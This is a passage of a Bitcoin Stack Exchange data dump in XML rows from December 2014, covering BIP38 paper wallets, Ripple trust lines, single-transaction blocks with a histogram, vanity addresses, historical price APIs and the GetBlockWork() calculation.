attempt.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;bitaddress.org generates the wallet in such a way that &lt;em&gt;the actual private key never exists in the computer's memory&lt;/em&gt; while the wallet is being created. Counter-intuitive, but true -- it uses the &quot;EC multiply&quot; variation of BIP0038. (Of course your password exists in memory, so you will likely still want to do this offline.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It is more of a standard than your home-brewed encryption step. BIP0038 is not officially an adopted standard as of this writing; but enough folks support it at this time that it may as well be a &lt;em&gt;de facto&lt;/em&gt; standard. This means you have several options for retrieval, with less chance for human error or other issues presenting an obstacle to retrieving your funds.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="21451" LastActivityDate="2014-12-17T15:40:36.887" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34088" PostTypeId="2" ParentId="34085" CreationDate="2014-12-17T18:48:06.963" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;How do individuals set who they 'trust' to ensure that accounts remain active and the flow of debts remains valid?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Ripple has a &quot;TrustSet&quot; transaction that does exactly this. Other than XRP, Ripple does not permit an account to hold an asset it has not agreed to hold.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Account holders can drop their trust to zero at any time. This will prevent them receiving any more of an asset they no longer trust. They can also sell off whatever of the asset they hold, assuming it still has value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While there can certainly be benefits from taking on risk, you can use Ripple in a completely risk-minimizing way. Just limit your trust to gateways you can enforce a legal claim against.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How does the system respond if a user goes bankrupt and becomes unable to pay any debts that he has?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The system itself doesn't presume that assets have any particular value. There is no problem with worthless assets existing in the system because there is no way to get such an asset to someone who didn't agree to take it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like most other payment systems, Ripple only controls what goes on inside itself. It can't compel people to do things outside of the system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The risk-averse way to protect yourself from this is to trust only reliable gateways. The more adventurous way to do it is to trust only people whose Ripple network has value in such a way that they can't betray your trust without giving up their Ripple network. This is the basis of community credit, which really isn't ready for prime time just yet.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What happens in the situation where there is no line between the sender and the receiver of money or where there is no Gateway that the receiver can use to redeem money?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can send anyone XRP. However, to send any other asset to someone, they must agree to hold it. If someone has not agreed to hold any asset denominated in US dollars, then you simply cannot pay them US dollars. If they have agreed to hold any reasonably liquid asset denominated in US dollars and you hold any reasonably liquid asset in any currency, Ripple's pathfinding engine can find a path to make the payment work. Users do not need to have gateways in common to pay each other.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-12-17T18:48:06.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34089" PostTypeId="1" AcceptedAnswerId="34098" CreationDate="2014-12-17T19:02:59.143" Score="15" ViewCount="7661" Body="&lt;p&gt;I was looking at blocks on blockchain.info, and came across this one with only one transaction in it: (the mining reward one)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/block-index/512049/00000000000000000429a0c4fbe735b2d8b493daedf0207728543f748c262437&quot;&gt;https://blockchain.info/block-index/512049/00000000000000000429a0c4fbe735b2d8b493daedf0207728543f748c262437&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that at all suspicious? Does it mean someone was trying to block some transactions from going through? How common are single-transaction blocks?&lt;/p&gt;&#xA;" OwnerUserId="12196" LastEditorUserId="5406" LastEditDate="2016-03-10T14:49:30.623" LastActivityDate="2017-07-31T22:38:17.617" Title="How often does a block have only one transaction?" Tags="|blockchain|empty-blocks|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34090" PostTypeId="2" ParentId="34089" CreationDate="2014-12-17T19:33:25.903" Score="4" Body="&lt;p&gt;It is fairly normal and there 2 common reasons for this.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first reason is when 2 blocks are solved relatively close to each other in time.  The second of these blocks may not have any transactions to include.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second reason is that bigger blocks take longer to propagate across the network.  It is often in the interest of the block solver to transmit a block without any transactions as it is less likely that another block might be solved in the time it takes the block to propagate across the network.  This makes it less likely that the solved block will become orphaned.  &lt;/p&gt;&#xA;" OwnerUserId="10979" LastActivityDate="2014-12-17T19:33:25.903" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34092" PostTypeId="2" ParentId="34077" CreationDate="2014-12-17T20:02:39.520" Score="1" Body="&lt;p&gt;I'm particularly curious about analytics for addresses that include taint-of-taint data, specifically I'm wondering if its possible to extract useful information from an address that's interacted with coins 2 hops away from say, a betting site. I think this could have many implications for researchers looking to do some other kind of node/graph analysis as well. &lt;/p&gt;&#xA;" OwnerUserId="21563" LastActivityDate="2014-12-17T20:02:39.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34094" PostTypeId="1" AcceptedAnswerId="34095" CreationDate="2014-12-17T22:43:12.617" Score="4" ViewCount="491" Body="&lt;p&gt;I want to generate a vanity address with BIP-38 encryption for a cold storage paper wallet, how would I go about securely making one? From what I've found, generating a vanity address with Vanitygen does not allow me to encrypt the key. Or is a vanity address advisable at all for long-term cold storage?&lt;/p&gt;&#xA;" OwnerUserId="21565" LastActivityDate="2014-12-17T23:04:14.697" Title="How would one go about generating a BIP-38 encrypted vanity address for cold storage?" Tags="|paper-wallet|coldstorage|vanity-address|bip38|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34095" PostTypeId="2" ParentId="34094" CreationDate="2014-12-17T23:04:14.697" Score="1" Body="&lt;p&gt;Take a look at &lt;a href=&quot;http://bippy.org&quot; rel=&quot;nofollow&quot;&gt;http://bippy.org&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main potential issue I see with using a vanity address for cold storage is in spending from the address multiple times. If the wallet software you use isn't properly crafted (i.e., by using &lt;a href=&quot;http://tools.ietf.org/rfc/rfc6979.txt&quot; rel=&quot;nofollow&quot;&gt;RFC 6979&lt;/a&gt;) there's a possibility that it will use the same &lt;code&gt;k&lt;/code&gt; value during &lt;a href=&quot;http://en.wikipedia.org/wiki/Elliptic_Curve_Digital_Signature_Algorithm&quot; rel=&quot;nofollow&quot;&gt;ECDSA&lt;/a&gt; on the transaction, which will make it possible to recover your private key (see &lt;a href=&quot;http://rdist.root.org/2010/11/19/dsa-requirements-for-random-k-value/&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;). Note that this potential issue applies to &lt;em&gt;any&lt;/em&gt; address for which there is more than one spend, not just vanity addresses. But I bring it up in particular here since the nature of a vanity address implies a reasonable likelihood of multiple spends from the address.&lt;/p&gt;&#xA;" OwnerUserId="21451" LastActivityDate="2014-12-17T23:04:14.697" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34097" PostTypeId="2" ParentId="4445" CreationDate="2014-12-18T00:11:19.650" Score="1" Body="&lt;p&gt;Coinprism.info has a &lt;a href=&quot;https://testnet.coinprism.info/&quot; rel=&quot;nofollow&quot;&gt;testnet blockchain explorer&lt;/a&gt;. It does colored coins as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the SSL certificate is self signed.&lt;/p&gt;&#xA;" OwnerUserId="2716" LastActivityDate="2014-12-18T00:11:19.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34098" PostTypeId="2" ParentId="34089" CreationDate="2014-12-18T01:07:34.467" Score="17" Body="&lt;p&gt;It's possible that this could happen just because there aren't any transactions to be mined. Early on in the bitcoin block chain, this was often the case. This could also happen if two blocks are solved on top of each other in a very short amount of time, with not much time for new transactions to be broadcasted in between. Today, however, more often than not this is due to a miner trying to get his/her block out to the rest of the peers on the network as soon as possible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A miner would want to do this because bigger blocks take longer to propagate to the rest of the network. Nodes have to download and verify the validity of a block before they can relay them to their peers, because if they don't verify before sending and they send an invalid block, then their peers may ban them and the node will have no one to connect with on the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Think of it this way. If your block takes 50 seconds to get out to 90% of the peers on the network, and someone else mines a block 1 second later than you but can get their block out to 90% of the network in 9 seconds, who do you think will have the greater chance of getting their block accepted by more peers?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may also be worthwhile to note that while this seems like it has a better pay off, it also sends a message to everyone on the network that the miner who mined the block doesn't really actually care about the bitcoin network's transactions, it just cares about its reward. And if the miners don't support the system, then why should investors or anyone else have confidence in it? I guess what I'm trying to say is that if a lot of miners did this, then the price of bitcoin would likely drop as it would show a lack of faith in the system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a more mathematical analysis of orphan rates and payoffs here: &lt;a href=&quot;http://organofcorti.blogspot.com/2013/10/161-network-orphaned-blocks-part-1.html&quot; rel=&quot;noreferrer&quot;&gt;http://organofcorti.blogspot.com/2013/10/161-network-orphaned-blocks-part-1.html&lt;/a&gt;\&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, it may interest you to know that there is a new proposal to enable faster propagation of blocks even if they are very large. See here for more info: &lt;a href=&quot;https://gist.github.com/gavinandresen/e20c3b5a1d4b97f79ac2&quot; rel=&quot;noreferrer&quot;&gt;https://gist.github.com/gavinandresen/e20c3b5a1d4b97f79ac2&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;A different way of explaining this would be that, for a block to be accepted by the network, it has to be propagated out and checked by everyone. While blocks are spreading through the network, any miners who don't know about the new block will just keep mining on the block they have. In most cases, probably, this is just wasted work since there is already a block that is on it's way to being accepted. But if your block is much smaller (i.e. very few txs), then it gives other miners less time to solve a block while yours is propagating, and it also increases your chance that your block will get accepted by the majority of the miners even if someone else solved a block slightly before you.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;To answer this question with a bit of data, I made a script that processed the last 1 month of blocks (4,464 blocks before and including block 338,782), and gathered data about the number of transactions in each block. These were the results.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;From this data, it seems that roughly&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;strong&gt;1.3% of blocks are solved with just the reward transaction&lt;/strong&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;strong&gt;1.6% of blocks are solved with fewer than 10 transactions.&lt;/strong&gt; &lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Transactions  # Blocks with transaction count in MIN-MAX range&#xA;MIN     MAX     COUNT &#xA;0       9       73&#xA;10      19      31&#xA;20      29      22&#xA;30      39      74&#xA;40      49      52&#xA;50      59      43&#xA;60      69      107&#xA;70      79      50&#xA;80      89      41&#xA;90      99      56&#xA;100     109     55&#xA;110     119     50&#xA;120     129     86&#xA;130     139     46&#xA;140     149     54&#xA;150     159     57&#xA;160     169     51&#xA;170     179     62&#xA;180     189     49&#xA;190     199     53&#xA;200     209     46&#xA;210     219     45&#xA;220     229     64&#xA;230     239     42&#xA;240     249     45&#xA;250     259     69&#xA;260     269     58&#xA;270     279     39&#xA;280     289     41&#xA;290     299     41&#xA;300     309     44&#xA;310     319     45&#xA;320     329     37&#xA;330     339     35&#xA;340     349     45&#xA;350     359     42&#xA;360     369     40&#xA;370     379     42&#xA;380     389     41&#xA;390     399     37&#xA;400     409     48&#xA;410     419     47&#xA;420     429     42&#xA;430     439     40&#xA;440     449     40&#xA;450     459     46&#xA;460     469     42&#xA;470     479     32&#xA;480     489     33&#xA;490     499     40&#xA;500     509     38&#xA;510     519     68&#xA;520     529     44&#xA;530     539     28&#xA;540     549     32&#xA;550     559     28&#xA;560     569     35&#xA;570     579     27&#xA;580     589     29&#xA;590     599     28&#xA;600     609     19&#xA;610     619     31&#xA;620     629     20&#xA;630     639     27&#xA;640     649     38&#xA;650     659     28&#xA;660     669     27&#xA;670     679     25&#xA;680     689     18&#xA;690     699     21&#xA;700     709     27&#xA;710     719     28&#xA;720     729     23&#xA;730     739     25&#xA;740     749     25&#xA;750     759     19&#xA;760     769     21&#xA;770     779     24&#xA;780     789     27&#xA;790     799     23&#xA;800     809     16&#xA;810     819     18&#xA;820     829     19&#xA;830     839     18&#xA;840     849     16&#xA;850     859     19&#xA;860     869     20&#xA;870     879     16&#xA;880     889     18&#xA;890     899     16&#xA;900     909     24&#xA;910     919     24&#xA;920     929     14&#xA;930     939     18&#xA;940     949     20&#xA;950     959     12&#xA;960     969     13&#xA;970     979     15&#xA;980     989     15&#xA;990     999     21&#xA;1000    1009    15&#xA;1010    1019    15&#xA;1020    1029    18&#xA;1030    1039    14&#xA;1040    1049    13&#xA;1050    1059    13&#xA;1060    1069    9&#xA;1070    1079    16&#xA;1080    1089    16&#xA;1090    1099    8&#xA;1100    1109    17&#xA;1110    1119    10&#xA;1120    1129    12&#xA;1130    1139    8&#xA;1140    1149    8&#xA;1150    1159    22&#xA;1160    1169    10&#xA;1170    1179    14&#xA;1180    1189    17&#xA;1190    1199    10&#xA;1200    1209    11&#xA;1210    1219    14&#xA;1220    1229    9&#xA;1230    1239    9&#xA;1240    1249    12&#xA;1250    1259    9&#xA;1260    1269    8&#xA;1270    1279    7&#xA;1280    1289    7&#xA;1290    1299    9&#xA;1300    1309    8&#xA;1310    1319    12&#xA;1320    1329    8&#xA;1330    1339    7&#xA;1340    1349    12&#xA;1350    1359    10&#xA;1360    1369    13&#xA;1370    1379    10&#xA;1380    1389    10&#xA;1390    1399    9&#xA;1400    1409    10&#xA;1410    1419    8&#xA;1420    1429    14&#xA;1430    1439    10&#xA;1440    1449    6&#xA;1450    1459    6&#xA;1460    1469    6&#xA;1470    1479    9&#xA;1480    1489    7&#xA;1490    1499    4&#xA;1500    1509    5&#xA;1510    1519    8&#xA;1520    1529    5&#xA;1530    1539    12&#xA;1540    1549    3&#xA;1550    1559    7&#xA;1560    1569    8&#xA;1570    1579    3&#xA;1580    1589    7&#xA;1590    1599    2&#xA;1600    1609    12&#xA;1610    1619    5&#xA;1620    1629    10&#xA;1630    1639    3&#xA;1640    1649    4&#xA;1650    1659    5&#xA;1660    1669    6&#xA;1670    1679    5&#xA;1680    1689    3&#xA;1690    1699    5&#xA;1700    1709    2&#xA;1710    1719    1&#xA;1720    1729    10&#xA;1730    1739    4&#xA;1740    1749    5&#xA;1750    1759    4&#xA;1760    1769    4&#xA;1770    1779    2&#xA;1780    1789    3&#xA;1790    1799    6&#xA;1800    1809    3&#xA;1810    1819    2&#xA;1820    1829    4&#xA;1830    1839    5&#xA;1840    1849    4&#xA;1850    1859    3&#xA;1860    1869    3&#xA;1870    1879    3&#xA;1880    1889    5&#xA;1890    1899    3&#xA;1900    1909    3&#xA;1910    1919    4&#xA;1920    1929    1&#xA;1930    1939    0&#xA;1940    1949    3&#xA;1950    1959    0&#xA;1960    1969    0&#xA;1970    1979    3&#xA;1980    1989    2&#xA;1990    1999    2&#xA;2000    2009    3&#xA;2010    2019    3&#xA;2020    2029    3&#xA;2030    2039    3&#xA;2040    2049    7&#xA;2050    2059    3&#xA;2060    2069    1&#xA;2070    2079    4&#xA;2080    2089    2&#xA;2090    2099    1&#xA;2100    2109    1&#xA;2110    2119    3&#xA;2120    2129    2&#xA;2130    2139    2&#xA;2140    2149    4&#xA;2150    2159    1&#xA;2160    2169    2&#xA;2170    2179    1&#xA;2180    2189    2&#xA;2190    2199    3&#xA;2200    2209    0&#xA;2210    2219    0&#xA;2220    2229    1&#xA;2230    2239    0&#xA;2240    2249    3&#xA;2250    2259    0&#xA;2260    2269    1&#xA;2270    2279    2&#xA;2280    2289    1&#xA;2290    2299    3&#xA;2300    2309    0&#xA;2310    2319    1&#xA;2320    2329    0&#xA;2330    2339    1&#xA;2340    2349    1&#xA;2350    2359    1&#xA;2360    2369    1&#xA;2370    2379    1&#xA;2380    2389    0&#xA;2390    2399    0&#xA;2400    2409    1&#xA;2410    2419    1&#xA;2420    2429    1&#xA;2430    2439    0&#xA;2440    2449    0&#xA;2450    2459    0&#xA;2460    2469    1&#xA;2470    2479    0&#xA;2480    2489    0&#xA;2490    2499    2&#xA;2500    2509    0&#xA;2510    2519    0&#xA;2520    2529    1&#xA;2530    2539    2&#xA;2540    2549    2&#xA;2550    2559    1&#xA;2560    2569    0&#xA;2570    2579    1&#xA;2580    2589    1&#xA;2590    2599    0&#xA;2600    2609    0&#xA;2610    2619    0&#xA;2620    2629    0&#xA;2630    2639    0&#xA;2640    2649    2&#xA;2650    2659    0&#xA;2660    2669    0&#xA;2670    2679    0&#xA;2680    2689    0&#xA;2690    2699    0&#xA;2700    2709    0&#xA;2710    2719    0&#xA;2720    2729    0&#xA;2730    2739    0&#xA;2740    2749    0&#xA;2750    2759    0&#xA;2760    2769    0&#xA;2770    2779    0&#xA;2780    2789    0&#xA;2790    2799    0&#xA;2800    2809    0&#xA;2810    2819    1&#xA;2820    2829    0&#xA;2830    2839    0&#xA;2840    2849    0&#xA;2850    2859    1&#xA;2860    2869    0&#xA;2870    2879    0&#xA;2880    2889    0&#xA;2890    2899    0&#xA;2900    2909    0&#xA;2910    2919    0&#xA;2920    2929    0&#xA;2930    2939    0&#xA;2940    2949    0&#xA;2950    2959    0&#xA;2960    2969    0&#xA;2970    2979    0&#xA;2980    2989    0&#xA;2990    2999    0&#xA;3000    3009    0&#xA;3010    3019    0&#xA;3020    3029    0&#xA;3030    3039    1&#xA;3040    3049    0&#xA;3050    3059    0&#xA;3060    3069    0&#xA;3070    3079    0&#xA;3080    3089    0&#xA;3090    3099    0&#xA;3100    3109    0&#xA;3110    3119    0&#xA;3120    3129    0&#xA;3130    3139    1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MXb1J.png&quot; alt=&quot;The distribution of transactions per block as of January 13th, 2015&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The x-axis here (it may be hard to read) is the transaction range (each MIN-MAX pair in data above represents one column). The y-axis shows the number of blocks in the last month that had a transaction count within the range.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2015-01-13T18:05:49.547" LastActivityDate="2015-01-13T18:05:49.547" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34099" PostTypeId="2" ParentId="23662" CreationDate="2014-12-18T01:16:30.333" Score="1" Body="&lt;p&gt;I would send your solved block to a core node of your own and then check the debug.log file to see why it wasn't accepted. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, no, in general there is no necessary relationship between the version of the block and the version of transactions. Version numbers just give a signal to other nodes if there is any special way to handle new blocks/transactions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As per BIP34, version 2 blocks now have the block height put into the scriptSig of the coinbase input so that no one can make a transaction with a duplicate transaction id (hash).&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2014-12-18T01:16:30.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34100" PostTypeId="1" CreationDate="2014-12-18T01:20:01.367" Score="6" ViewCount="17286" Body="&lt;p&gt;As of now, the only API I can find that serves historical data is &lt;a href=&quot;https://blockchain.info/charts/market-price?timespan=60days&amp;amp;format=json&quot; rel=&quot;noreferrer&quot;&gt;https://blockchain.info/charts/market-price?timespan=60days&amp;amp;format=json&lt;/a&gt;. It only uses USD, and I need to serve non-USD data. My google-fu is failing me, does anyone know of an API that serves historical data for more than one currency? Preferably a currency I can specify as part of the API call.&lt;/p&gt;&#xA;" OwnerUserId="21567" LastActivityDate="2024-01-23T06:01:30.143" Title="Historical BTC data in JSON" Tags="|api|json-rpc|ios|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34103" PostTypeId="1" CreationDate="2014-12-18T07:14:55.033" Score="-2" ViewCount="3095" Body="&lt;p&gt;I am going to start mining bitcoin.  I plan to use 6 antminer s4.  that would give me 12 th/s.  with this set up how long would it take me to mine one bitcoin?&lt;/p&gt;&#xA;" OwnerUserId="21569" LastEditorUserId="5406" LastEditDate="2016-04-09T07:41:49.710" LastActivityDate="2016-04-09T07:41:49.710" Title="i would like to know how long it will take me to mine 1 bitcoin with a 12 th/s mining rig" Tags="|mining-profitability|hashpower|" AnswerCount="1" CommentCount="0" ClosedDate="2014-12-18T13:14:42.633" ContentLicense="CC BY-SA 3.0" />
  <row Id="34104" PostTypeId="2" ParentId="34103" CreationDate="2014-12-18T07:28:37.067" Score="1" Body="&lt;p&gt;It will take about a week.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use a calculator like this one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://alloscomp.com/bitcoin/calculator&quot; rel=&quot;nofollow&quot;&gt;https://alloscomp.com/bitcoin/calculator&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2014-12-18T07:28:37.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34106" PostTypeId="2" ParentId="34100" CreationDate="2014-12-18T09:47:11.363" Score="0" Body="&lt;p&gt;You can try &lt;a href=&quot;http://bitcoincharts.com/about/markets-api/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Charts API&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="83779" LastActivityDate="2014-12-18T09:47:11.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34107" PostTypeId="1" CreationDate="2014-12-18T14:27:00.590" Score="1" ViewCount="1602" Body="&lt;p&gt;I'm trying to clone the Blackcoin sourcecode just for the hell of it but I can't seem to generate a genesis block. I can do it on normal coins, but not here. The Blackcoin developers seem to have shifted a lot of code into weird places. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, all of the coins major parameters are in &lt;a href=&quot;https://github.com/rat4/blackcoin/blob/master/src/chainparams.cpp&quot; rel=&quot;nofollow&quot;&gt;chainparams.cpp&lt;/a&gt;. However, there is no code in the link above or in &lt;a href=&quot;https://github.com/rat4/blackcoin/blob/master/src/main.cpp&quot; rel=&quot;nofollow&quot;&gt;main.cpp&lt;/a&gt; to create a genesis block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I make a genesis block for this coin?&lt;/p&gt;&#xA;" OwnerUserId="21572" LastEditorUserId="2306" LastEditDate="2014-12-18T18:03:44.197" LastActivityDate="2017-11-15T05:45:10.837" Title="How do I create a new genesis block for an altcoin?" Tags="|altcoin|genesis-block|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34109" PostTypeId="1" AcceptedAnswerId="34110" CreationDate="2014-12-18T17:49:11.297" Score="2" ViewCount="2379" Body="&lt;p&gt;Do all bitcoin transaction ids (hashes) have the same length? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess it's defined somewhere here: &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Protocol_specification&lt;/a&gt; but still I couldn't find it.&lt;/p&gt;&#xA;" OwnerUserId="14319" LastEditorUserId="5406" LastEditDate="2014-12-20T17:23:55.237" LastActivityDate="2014-12-20T17:23:55.237" Title="Are transaction ids always the same length?" Tags="|protocol|transaction-id|specification|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34110" PostTypeId="2" ParentId="34109" CreationDate="2014-12-18T18:02:15.747" Score="6" Body="&lt;p&gt;Yes. The transaction ID is SHA256(SHA256(transaction)) as described &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2177/how-to-calculate-a-hash-of-a-tx&quot;&gt;here&lt;/a&gt; and thus always has a length of 256 bits (32 bytes).&lt;/p&gt;&#xA;" OwnerUserId="21451" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2014-12-18T18:02:15.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34111" PostTypeId="1" AcceptedAnswerId="34113" CreationDate="2014-12-18T23:24:40.377" Score="1" ViewCount="226" Body="&lt;p&gt;The implementation of &lt;code&gt;GetBlockWork()&lt;/code&gt; in the bitcoin v0.9.3 source (&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/v0.9.3/src/main.h#L815-L822&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/v0.9.3/src/main.h#L815-L822&lt;/a&gt;) seems strange to me. The code is given below for convenience.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CBigNum GetBlockWork() const&#xA;{&#xA;    CBigNum bnTarget;&#xA;    bnTarget.SetCompact(nBits);&#xA;    if (bnTarget &amp;lt;= 0)&#xA;        return 0;&#xA;    return (CBigNum(1)&amp;lt;&amp;lt;256) / (bnTarget+1);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Why the +1 in the denominator?&lt;/li&gt;&#xA;&lt;li&gt;And shouldn't the numerator be the maximum possible 256 bit integer, instead of 2^256?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I would expect the implementation to be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CBigNum GetBlockWork() const&#xA;{&#xA;    CBigNum bnTarget;&#xA;    bnTarget.SetCompact(nBits);&#xA;    if (bnTarget &amp;lt;= 0)&#xA;        return 0;&#xA;    CBigNum bnMax;&#xA;    bnMax.SetHex(&quot;0xFFFFFFFFFFFFFFFF&quot;); // Max 256 bit int&#xA;    return (bnMax / bnTarget);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="2306" LastEditDate="2014-12-18T23:57:03.283" LastActivityDate="2014-12-19T02:37:01.483" Title="Bitcoin GetBlockWork() function" Tags="|difficulty|bitcoin-core-development|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34112" PostTypeId="2" ParentId="34033" CreationDate="2014-12-18T23:31:49.150" Score="3" Body="&lt;p&gt;The use of scrypt vs SHA256 has an impact on proof of work but no impact on the signature scheme or transaction structures. The only thing that should impact you when using this library is the address prefix that differs with altcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The standard address prefix for Bitcoin is 0. For Dogecoin for example it's 30. So you could reuse that same library and generate valid Dogecoin transactions just by passing that additional parameter to the pubtoaddr function like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pub = pubtoaddr(pub, 30)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15524" LastActivityDate="2014-12-18T23:31:49.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34113" PostTypeId="2" ParentId="34111" CreationDate="2014-12-18T23:56:44.067" Score="3" Body="&lt;p&gt;This appears to be a function to calculate the average number of hashes needed to generate a particular block. (This is different from difficulty.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this function is correct. To explain why, imagine that Bitcoin used 4 bit hashes instead of 256 bit hashes. This would make the range of possible values 0 to 15.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the target were 15, that would mean that any hash would be valid. Therefore, it should take 1 hash on average to find a valid proof of work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;= (maximum possible hash + 1) / (target + 1)&#xA;= (15 + 1) / (15 + 1)&#xA;= 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the target were 7, that would mean that half of the hashes would be valid. Therefore, it should take 2 hashes on average to find a valid proof of work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;= (maximum possible hash + 1) / (target + 1)&#xA;= (15 + 1) / (7 + 1)&#xA;= 2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Remember, a proof of work is valid if it is less than or equal to the target. See also CheckProofOfWork().&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't tell if this is used anywhere. This function appears to have been removed in the latest version.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2014-12-19T02:37:01.483" LastActivityDate="2014-12-19T02:37:01.483" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
